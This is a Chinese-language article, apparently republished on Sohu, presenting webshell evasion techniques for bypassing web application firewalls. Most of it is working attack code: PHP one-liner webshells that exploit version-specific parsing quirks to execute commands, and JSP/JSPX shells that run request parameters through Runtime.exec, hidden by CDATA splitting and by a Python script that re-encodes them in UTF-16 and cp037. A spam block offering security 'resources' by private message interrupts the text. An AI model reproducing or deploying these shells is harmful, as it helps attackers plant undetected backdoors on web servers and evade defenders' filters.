webshell免杀马「powershell免杀」

时间：2022-12-15 12:47:29来源：搜狐

今天带来webshell免杀马「powershell免杀」，关于webshell免杀马「powershell免杀」很多人还不知道，现在让我们一起来看看吧！

php的免杀

传统的php免杀不用多说了无非就是各种变形和外部参数获取，对于一些先进的waf和防火墙来说，不论如何解析最终都会到达命令执行的地方，但是如果语法报错的话，就可能导致解析失败了，这里简单说几个利用php版本来进行语义出错的php命令执行方式。

1、利用在高版本php语法不换行来执行命令

<?=$a=<<< aaassasssasssasssasssasssasssasssasssasssasssassssaa;echo `whoami`?>5.2版本报错，

【一>所有资源关注我，私信回复“资料”获取<一】
1、网络安全学习路线
2、电子书籍（白帽子）
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

5.3报错

5.4版本报错

7.3.4成功执行命令

2、利用特殊符号来引起报错

<?phpecho `whoami`;?>5.3执行命令失败7.3执行命令失败5.2成功执行3、十六进制字符串

在php7中不认为是数字，php5则依旧为数字
经过测试 5.3 和5.5可以成功执行命令，5.2和php7无法执行

<?php$s=substr("aabbccsystem","0x6");$s(whoami)?>7.3 命令执行失败5.2 命令执行失败5.3 命令执行成功

除此之外，还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。
当然，对于我们可以结合垃圾数据，变形混淆，以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同，配置也不同，与一些传输层面的bypass进行结合产生的可能性就会非常多样。

例如：
7.0版本的??特性，如果版本为5.x的话就会报错，可以结合一些其他的方式吧

<?php$a = $_GET['function'] ?? 'whoami';$b = $_GET['cmd'] ?? 'whoami';$a(null.(null.$b));jsp免杀

本人对java研究的不是非常深入，因此主要分享的还是平时收集的几个小tips，如果有没看过的师傅现在看到了也是极好的，java unicode绕过就不再多言。

0、小小Tips

jsp的后缀可以兼容为jspx的代码，也兼容jspx的所有特性，如CDATA特性。
jspx的后缀不兼容为jsp的代码，jspx只能用jspx的格式

1、jspx CDATA特性

在XML元素里，<和&是非法的，遇到<解析器会把该字符解释为新元素的开始，遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符，因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式：<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如
String cmd = request.getPar<![CDATA[ameter]]>(“shell”);
此时ameter依旧会与getPar拼接成为getParameter

2、实体化编码

if (cmd !=null){Process child = Runtime.getRuntime().exec(cmd);InputStream in = child.getInputStream();

这里实体化编码先知渲染体现不出来

3、利用java支持其他编码格式来进行绕过

#python2charset = "utf-8"data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)f16be = open('utf-16be.jsp','wb')f16be.write('<%@ page contentType="charset=utf-16be" %>')f16be.write(data.encode('utf-16be'))f16le = open('utf-16le.jsp','wb')f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')f16le.write(data.encode('utf-16le'))fcp037 = open('cp037.jsp','wb')fcp037.write(data.encode('cp037'))fcp037.write('<%@ page contentType="charset=cp037"/>')